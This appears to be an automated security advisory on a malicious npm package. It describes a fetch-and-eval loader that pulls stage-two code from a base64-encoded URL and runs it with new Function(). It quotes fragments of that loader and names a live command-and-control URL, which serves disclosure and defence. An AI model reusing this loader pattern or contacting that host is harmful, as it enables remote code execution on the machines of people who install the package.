GCVE-110-OSM-2026-10127

This package implements a classic remote-code-execution payload: index.js immediately invokes postCallers() from lib/caller.js, which fetches a URL decoded from the base64-encoded environment variable DEV_API_KEY (atob(process.env.DEV_API_KEY)) via axios.get(), then passes the response body directly into new Function() for execution — a textbook fetch-and-eval loader. The C2 URL https://1uznbx.s.gy/7xdQmt was recovered from deobfuscated content in lib/const.js, confirming it is the hardcoded stage-2 payload location. The package is published by a brand-new npm account (zaydan, <1 day old) with no repository, a vague vulnerability-policy description masquerading as a README, and it depends on a flagged malicious axios variant. The combination of new-account-suspicious-package, hidden-iocs, obfuscated-exfil, and download-and-execute-payload applied combos leave no plausible benign interpretation. ENTRY index.js (main: index.js) EXFIL - Fetch and Eval/Exec in lib/caller.js: "axios.get(atob(process.env.DEV_API_KEY)) .then(response => { new Function" - Network Request in lib/caller.js: "axios.get(" OBFUSCATION - Base64 Decoded Environment Variable in lib/caller.js: "atob(process.env." - Decoded Base64 Content in lib/const.js - Dynamic Base64 Decoding in lib/caller.js: "atob(process." - Strings Extracted from Deobfuscated Code in lib/caller.js - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Dynamic Code Execution in lib/redaction.js: "exec(str)" - Very New NPM Publisher Account - Malicious Dependency Detected in package.json PAYLOAD FILES lib/caller.js (+ lib/const.js)